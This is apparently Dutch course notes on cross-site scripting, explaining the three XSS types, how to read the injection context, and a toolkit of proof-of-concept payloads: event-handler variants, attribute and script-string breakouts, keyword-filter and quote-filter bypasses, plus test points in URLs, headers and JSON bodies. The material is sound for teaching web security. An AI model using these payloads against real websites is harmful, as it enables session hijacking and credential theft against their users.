Skip to main content
In de les werd alert(1) vaak gebruikt als PoC. Wanneer alert() geblokkeerd was, kwam print() als alternatief aan bod. Bij DOM-oefeningen ging het soms om het aanpassen van een zichtbaar element, bijvoorbeeld tekst in een result-div.

PortSwigger XSS cheat sheet

Payloadreferentie per tag, event en browser.

De 3 types

Reflected

Input komt direct terug in de response (URL-param, zoekveld).

Stored

Input wordt opgeslagen en later getoond (comment, profiel).

DOM-based

Client-side JS schrijft een source in een gevaarlijke sink.

Analyse van de context

1

Werkt HTML?

Typ <h1>zzz</h1>. Vet weergegeven = HTML wordt geinterpreteerd -> ga door.
2

PoC

<script>alert(1)</script> was de basis-PoC. Als die niet werkte, werd de source belangrijker.
3

Lees de context af

Hoe komt je input eruit? Tussen tags? In een attribuut? In JS?
4

Payloadkeuze

De payload hangt af van de context en van welke keywords gefilterd worden.

Context -> payload

Wat je in de source zietPassende payload
<script> weggestriptevent handler: <img src=x onerror=alert(1)>
keyword wordt 1x verwijderdgeneste variant: <imgimg ... onerroronerror...>
input zit in een attribuutbreakout: "><script>... of " onfocus=alert(1) autofocus x="
quotes geblokkeerdHTML-encoding: &apos;-alert(1)-&apos;
niets in HTML, wel in JSF12 -> Sources: zoek innerHTML / document.write

Payload-toolkit

<!-- standaard PoC -->
<script>alert(1)</script>

<!-- script geblokkeerd -> event handlers -->
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<details open ontoggle=alert(1)>
<iframe src="javascript:alert(`1`)">

<!-- attribuut-breakout -->
"><script>alert(1)</script>
" autofocus onfocus=alert(1) x="
<a href="javascript:alert(1)">

<!-- je zit IN bestaande JavaScript -> breek uit string/functie -->
';alert(1)//
');alert(1)//
</script><script>alert(1)</script>

<!-- quote-filter omzeilen met HTML-encoding -->
&apos;-alert(1)-&apos;

<!-- DOM-output voorbeeld: tekst in result-div -->
<img src=x onerror="document.getElementById('result').textContent='KoenK'">
<details open ontoggle="document.getElementById('result').textContent='KoenK'">
Event handlers om mee te varieren: onerror ; onload ; onclick ; onmouseover ; onmouseup ; onfocus ; onkeydown ; ontoggle

Handige testplekken

PlekWat test je ermee?Signaal
?q=<payload>Reflected XSS in URL-parameters.Payload komt direct terug in HTML.
#<payload>DOM-based XSS via location.hash.Geen serverrequest nodig, maar JS leest de hash.
Formveld zoals name= of message=Stored of reflected XSS.Payload verschijnt later op dezelfde of een adminpagina.
Hidden fieldClient-side beperking omzeilen.Waarde wordt toch server-side verwerkt of getoond.
Referer headerXSS in logs of adminviews.Headerwaarde verschijnt in een dashboard.
User-Agent headerXSS in request logging.Admin/logpagina rendert de header als HTML.
JSON body zoals {"name":"<payload>"}API-output die later in DOM komt.Frontend schrijft API-data met innerHTML.

Goed om te weten

Vanaf Chrome 92 is alert() in een cross-origin iframe geblokkeerd. print() is dan een alternatief als PoC.
Sources (attacker-controlled): location, location.hash, location.search, document.cookie, document.referrer, window.name, localStorage.Sinks (gevaarlijk): innerHTML, document.write(), eval(), location.href, element.srcdoc.
Session hijacking (document.cookie zonder HttpOnly) ; credential harvesting ; CSRF-token stelen ; keylogging ; redirecten ; acties uitvoeren als het slachtoffer.

Tools

Browser DevTools

Referentie voor HTML-context, console errors, sources en DOM-sinks.

PortSwigger XSS cheat sheet

Zoek payloads per tag, event handler en browser.

Burp Suite

Handig voor Repeater, payloadvarianten en responsevergelijking.

mechanize

Pythonbibliotheek die in scripts meerdere payloadvarianten kan aflopen.